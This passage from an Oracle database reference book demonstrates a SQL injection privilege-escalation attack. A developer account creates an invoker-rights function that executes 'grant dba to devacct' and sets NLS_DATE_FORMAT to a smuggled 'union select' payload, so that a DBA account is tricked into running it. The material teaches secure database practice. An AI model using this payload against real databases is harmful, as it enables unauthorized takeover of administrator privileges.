Database Reference
In-Depth Information
the account exploiting this bug has
CREATE PROCEDURE
, that stored procedure allows him to execute any command
that
EODA
could execute! To see this, we'll grant
CREATE PROCEDURE
to the schema, as follows:
DEVACCT@ORA12CR1> connect eoda/foo
Connected.
EODA@ORA12CR1> grant create procedure to devacct;
Grant succeeded.
EODA@ORA12CR1> connect devacct/foobar;
Connected.
■
Note
this example assumes that the user
EODA
has been granted the DBa role with the aDMin option.
And then as the developer, we'll create a function that grants
DBA
. There are two important facts about this
function: it is an
invoker rights routine
, meaning that it will execute with the privileges granted to the person executing
the routine, and it is a
pragma
autonomous_transaction
routine
, meaning that it creates a subtransaction that will
commit or rollback before the routine returns, therefore making it eligible to be called from SQL. Here is that function:
DEVACCT@ORA12CR1> create or replace function foo
2 return varchar2
3 authid CURRENT_USER
4 as
5 pragma autonomous_transaction;
6 begin
7 execute immediate 'grant dba to devacct';
8 return null;
9 end;
10 /
Function created.
Now all we have to do is “trick”
EODA
(a DBA that can grant DBA to others) into running this function. Given what
we've done to exploit the SQL injection flaw, this is easy. We'll set our
NLS_DATE_FORMAT
to include a reference to this
function and grant execute on it to
EODA
:
DEVACCT@ORA12CR1> alter session set
2 nls_date_format = '"''union select devacct.foo from dual--"';
Session altered.
DEVACCT@ORA12CR1> grant execute on foo to eoda;
Grant succeeded.